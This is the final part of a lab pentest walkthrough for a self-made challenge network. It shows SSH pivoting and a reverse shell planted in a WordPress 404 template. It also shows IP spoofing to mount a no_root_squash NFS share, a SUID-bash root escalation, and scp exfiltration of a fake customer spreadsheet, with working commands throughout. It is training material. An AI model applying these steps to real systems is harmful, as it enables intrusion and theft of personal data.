Chapter III

Third and final part of the walkthrough-series for the AllEndEvent pentest challenge.

Quick Recap - Perequisites

So far we:

• Compromised the mail server and established SSH access as root,

• Compromised the web server and established SSH access as root and

• Found credentials for http://wiki.allendevent.com:54321 (10.0.10.30)

  • admin:Kn33sW34kM0ms5paghett1

The goal is to get access to sensitive data and we have reason to believe that they might be stored on the internal server (see email from James Hernandez to Larry Obrien). Thus, our next step will be to enumerate that server.

Wiki Server Enumeration

I'll leave it to you to conduct extensive enumeration. Feel free to use living-off-the-land techniques, pivoting, precompiled binaries or a combination of all of them. Regardless, I'll assume that you managed to identify the open port 54321 on 10.0.10.30. Currently, there are no CVEs for any of the running services, so I'll cut right to the next step.

Pivoting

In order to leverage the found credentials, we want to connect to the internal wiki. We can achieve this by tunneling our traffic through one of the compromised dual-homed hosts. This is called pivoting. However, there are different sorts of and different tools for pivoting. Below you'll see a broad depiction of them.

One of my infographics - an overview of pivoting techniques

In this walkthrough I'll concentrate on the most basic technique: port forwarding. As we can see in the picture, traffic from our Kali VM will be routed through the compromised host and into the internal network.

In our case, we want to forward port 54321 of our Kali machine to port 54321 on the internal machine. This way we can add 127.0.0.1 as wiki.allendevent.com in our /etc/hosts and browse it as if we were on the internal network.

Here's how we do it with SSH.

# on Kali
ssh -i root_web [e-mail] -L 54321:10.0.10.30:54321

After you run the command, port 54321 on Kali will be forwarded to 10.0.10.30. SSH will also open the normal shell on allendevent.com. If you don't want that, you can add -fN to the command, but remember to kill the SSH proccess manually when you're done pivoting.

If you want to learn more about port forwarding with SSH, I can recommend checking out these inforgraphics.

Using SSH local port forwarding to access the internal wiki

In the bottom right we can see that it's still in development, which might explain the weird port.

Using a browser extension like Wappalyzer, inspecting the source code or simply scrolling to the bottom reveals that this is another WordPress installation. A quick google search yields the login location: wp-login.php. Let's navigate to http://wiki.allendevent.com:54321/wp-login.php and use the credentials:

• User: admin

• Password: Kn33sW34kM0ms5paghett1

You may take some time and read the few posts first, but you will realise that these only contain hints for the SuiteCRM version and FTP. This goes to show how more enumeration could've benefitted us earlier.

Logging in to WordPress with admin credentials

There we go, we made it to the admin account of WordPress. If we casually look at the options on the left side and expand some of them, you'll notice the theme editor. Specifically, the fact that we are allowed to edit .php files should spark interest.

Editing the 404.php theme file in WordPress

WordPress perfectly demonstrates that there's not always the need for some elaborate exploit. Sometimes, intended functionality can be abused for our purposes. In this case, we are going to place the same reverse shell that we already used on the web server.

However, we can't just use 10.0.5.10 as the callback address. Since we are not in the internal network, the internal server would have no route back to us. So instead, we will use the IP 10.0.10.20 (internal address of the web server) for the listener. But we still want a shell on our machine, so we will use what's called a remote port forward. Contrary to the local port forward we did earlier, we open a port on a remote host and forward traffic from there back to us.

This might sound a bit confusing the first time, so I'll include my SSH infographic here:

This SSH infographic was published here

Basically, we intend to achieve the following:

Concept of how to use pivoting to catch a reverse shell

Alright, enough theory. Here's what we need to do.

First of all, we must enable the option GatewayPorts in the SSH config on the web server. This will allow us to create a forward port that listens on the internal interface. We can use vi to edit /etc/ssh/sshd_config

Enabling the GatewayPorts option

Subsequently, we need to restart the SSH server with systemctl restart sshd. Careful, you might break your SSH access if the configuration contains errors.

Once we've done that, let's start both of our SSH forwards:

# on Kali
# local port forwarding
ssh -i root_web -L 54321:10.010.30:54321 [e-mail]
# Before running the remote port forward, we have to make sure that the
# firewall on the web server will allow a connection on that port.
# Therefore, we use the ssh command prompt to add a firewall rule.
> firewall-cmd --add-port=1234/tcp

# remote port forwarding
ssh -i root_web -R 1234:127.0.0.1:1337 [e-mail]

Setting up two SSH port forwards

In addition to that, make sure to start a listener for the reverse shell.

Starting a listener for the reverse shell

Afterwards, check the configuration of the reverse shell payload.

Setting the IP and port of the reverse shell

Let's copy the contents of the reverse shell into the 404.php template.

Saving the 404 template with the contents of the reverse shell

Finally, we will trigger the reverse shell by visiting a wordpress page that does not exist, such as: http://wiki.allendevent.com:54321/?p=999.

Note that http://wiki.allendevent.com:54321/999 also does not exist. However, it wouldn't trigger the 404 template of WordPress. Instead, this error would be handled by the webserver (Apache) and you would not receive a shell.

Receiving a reverse shell connection from the internal server

We successfully gained shell access to the internal server as the apache user.

Privilege Escalation

Well, we've been here before. Let's look at the WordPress configuration file.

Enumerating the stored credentials in config files

Unfortunately, neither this nor the WordPress password work for the root account. That would've been too easy now, wouldn't it. Instead, let's continue enumeration.

During enumeration we notice quite a lot of open ports:

Listing open ports on wiki.allendevent.com

54321 and 3306 belong to the web server and database respectively. Pretty much all the other ports are ephemeral ports which leaves 2049 and 111 - which belong to NFS and RPC. If you don't know what NFS is yet, I would suggest you read up on what it does, where its configuration files might be and maybe how to abuse it.

The attentive reader will have noticed that we previously found a reference to an NFS setup guide:

Setup NFS server-client in Centos 7.DEV Community 👩‍💻👨‍💻

Setup guide for NFS from the browser history we found on the web server

This guide describes how to setup and configure a network share. More interestingly, it demonstrates an insecure option: no_root_squash. Let's check how much of that guide was copied by our IT administrator. The share configuration is in /etc/exports.

Displaying the NFS share configuration

There it is. If we did not have a clue what the option does, then a Google search for "nfs no_root_squash" yields the following link as the second result:

5.4.3. Do Not Use the no_root_squash Option Red Hat Enterprise Linux 4 | Red Hat Customer PortalRed Hat Customer Portal

Why you shouldn't use no_root_squash

Again, no fancy exploit - just basic behaviour. However, the configuration allows NFS access only for 10.0.10.40. Several tutorials explain how to exploit no_root_squash but they all require write access to the share.

NFS no_root_squash/no_all_squash misconfiguration PEHackTricks

Example for no_root_squash exploitation steps

Though we do not have access to 10.0.10.40, we do have root access to a server on the same network. Since we're root, we can pretend to be 10.0.10.40 by simply changing the IP.

# on the web server
# add a new IP to the internal interface
ip addr add 10.0.10.40/24 dev enp0s8

# delete the previous IP on the internal interface
ip addr del 10.0.10.20/24 dev enpos8

Bear in mind that this will destroy our reverse shell connection. To re-establish it, we will have to update the reverse shell in WordPress to reflect the new IP address: 10.0.10.40.

1. Reload http://wiki.allendevent.com:54321/?p=999

2. Restart the listener

3. Update the IP in the 404 template

Now let's mount the exposed NFS share to a temporary directory on the web server.

Spoofing the IP in order to mount the exposed internal share

No sensitive customer data yet, but we're very close. Exploit tutorials usually suggest to upload bash to the share. However, since the bash of our attack VM may not be compatible with the target OS, I'll demonstrate how to use the /bin/bash binary from the target.

First, we create a writeable directory in the mounted share.

# on the web server 
# within the mounted NFS share
mkdir extraction
chmod 777 extraction

Subsequently, we copy the original /bin/bash on the internal server to the writeable share.

# on the internal server (using the reverse shell)
cd /var/nfs_share/extraction
cp /bin/bash ./

Then we modify the bash binary to be owned by root and add the SUID bit.

# on the web server
cd extraction
chown root:root ./bash # change the owner to root
chmod 4777 ./bash # adding the SUID bit

Finally, we execute bash with the -p option. The SUID bit will allow the binary to be run with effective root privileges and the -p flag will prevent the privileges to be reset.

Getting effective root access via exploitation of an NFS share misconfiguration

At last, we gained root access on the internal server - great success!

Final Enumeration

We got root, but what about the sensitive data that we are supposed to exfiltrate?

This should be the easiest enumeration of them all.

Sensitive data stored in a spreadsheet

Convenient. Let's move it to the NFS share and then copy it from the web server to Kali via scp.

# on the internal server
cp customers.xlsx /var/nfs_share
# on Kali
scp -i root_web [e-mail]:/root/mnt/customers.xlsx ./

One final look.

Opening customers.xlsx in Libre Office

All displayed data is fake and was automatically generated.

870 rows of names, credit card numbers, phone numbers and more. This should classify as sensitive. Let's contact Larry Obrien - the manager - and tell him that the engagement is over.

Outro

This concludes our journey through the AllEndEvent network. I hope you had as much fun playing the challenge as I had developing it.

Of course you don't have to stop here though. Trying to write a report based solely on your notes may prove to be a very interesting challenge and would show how good your note-taking skills really are. Alternatively, try different pivoting techniques or other exploits like the SQL injection we saw on the second server. Just because a CVE is not an RCE or has a high rating it doesn't mean we should leave it out of the report.

If you made it this far, thank you very much for reading. If you got any feedback, feel free to hit me up on discord or smash one of those smiley faces at the bottom.